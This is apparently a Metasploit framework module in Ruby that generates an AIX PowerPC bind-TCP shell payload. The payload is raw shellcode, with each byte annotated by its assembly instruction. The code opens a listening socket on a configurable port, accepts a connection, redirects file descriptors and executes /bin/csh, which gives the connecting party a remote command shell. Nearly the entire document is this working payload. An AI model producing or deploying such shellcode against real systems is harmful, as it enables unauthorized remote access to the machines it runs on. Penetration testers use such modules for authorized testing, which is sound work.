## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single include Msf::Payload::Aix include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'AIX Command Shell, Bind TCP Inline', 'Description' => 'Listen for a connection and spawn a command shell', 'Author' => 'Ramon de C Valle', 'License' => MSF_LICENSE, 'Platform' => 'aix', 'Arch' => ARCH_PPC, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShellUnix, 'Payload' => { 'Offsets' => { 'LPORT' => [ 82, 'n' ], }, } )) end def generate(*args) super(*args) payload = "\x7f\xff\xfa\x79" +# xor. r31,r31,r31 # "\x40\x82\xff\xfd" +# bnel # "\x7f\xc8\x02\xa6" +# mflr r30 # "\x3b\xde\x01\xff" +# cal r30,511(r30) # "\x3b\xde\xfe\x1d" +# cal r30,-483(r30) # "\x7f\xc9\x03\xa6" +# mtctr r30 # "\x4e\x80\x04\x20" +# bctr # "\x4c\xc6\x33\x42" +# crorc 6,6,6 # "\x44\xff\xff\x02" +# svca 0 # "\x3b\xde\xff\xf8" +# cal r30,-8(r30) # "\x3b\xa0\x07\xff" +# lil r29,2047 # "\x7c\xa5\x2a\x78" +# xor r5,r5,r5 # "\x38\x9d\xf8\x02" +# cal r4,-2046(r29) # "\x38\x7d\xf8\x03" +# cal r3,-2045(r29) # @cal_socket + "\x7f\xc9\x03\xa6" +# mtctr r30 # "\x4e\x80\x04\x21" +# bctrl # "\x7c\x7c\x1b\x78" +# mr r28,r3 # "\x38\xbd\xf8\x11" +# cal r5,-2031(r29) # "\x3f\x60\xff\x02" +# liu r27,-254 # "\x63\x7b\x11\x5c" +# oril r27,r27,4444 # "\x97\xe1\xff\xfc" +# stu r31,-4(r1) # "\x97\x61\xff\xfc" +# stu r27,-4(r1) # "\x7c\x24\x0b\x78" +# mr r4,r1 # @cal_bind + "\x7f\xc9\x03\xa6" +# mtctr r30 # "\x4e\x80\x04\x21" +# bctrl # "\x7c\x84\x22\x78" +# xor r4,r4,r4 # "\x7f\x83\xe3\x78" +# mr r3,r28 # @cal_listen + "\x7f\xc9\x03\xa6" +# mtctr r30 # "\x4e\x80\x04\x21" +# bctrl # "\x7c\xa5\x2a\x78" +# xor r5,r5,r5 # "\x7c\x84\x22\x78" +# xor r4,r4,r4 # "\x7f\x83\xe3\x78" +# mr r3,r28 # @cal_accept + "\x7f\xc9\x03\xa6" +# mtctr r30 # "\x4e\x80\x04\x21" +# bctrl # "\x7c\x7a\x1b\x78" +# mr r26,r3 # "\x3b\x3d\xf8\x03" +# cal r25,-2045(r29) # "\x7f\x23\xcb\x78" +# mr r3,r25 # @cal_close + "\x7f\xc9\x03\xa6" +# mtctr r30 # "\x4e\x80\x04\x21" +# bctrl # "\x7f\x25\xcb\x78" +# mr r5,r25 # "\x7c\x84\x22\x78" +# xor r4,r4,r4 # "\x7f\x43\xd3\x78" +# mr r3,r26 # @cal_kfcntl + "\x7f\xc9\x03\xa6" +# mtctr r30 # "\x4e\x80\x04\x21" +# bctrl # "\x37\x39\xff\xff" +# ai. r25,r25,-1 # "\x40\x80\xff\xd4" +# bge # "\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 # "\x40\x82\xff\xfd" +# bnel # "\x7f\x08\x02\xa6" +# mflr r24 # "\x3b\x18\x01\xff" +# cal r24,511(r24) # "\x38\x78\xfe\x29" +# cal r3,-471(r24) # "\x98\xb8\xfe\x31" +# stb r5,-463(r24) # "\x94\xa1\xff\xfc" +# stu r5,-4(r1) # "\x94\x61\xff\xfc" +# stu r3,-4(r1) # "\x7c\x24\x0b\x78" +# mr r4,r1 # @cal_execve + "\x7f\xc9\x03\xa6" +# mtctr r30 # "\x4e\x80\x04\x21" +# bctrl # "/bin/csh" # If the payload is generated and there are offsets to substitute, # do that now. if (payload and offsets) substitute_vars(payload, offsets) end payload end end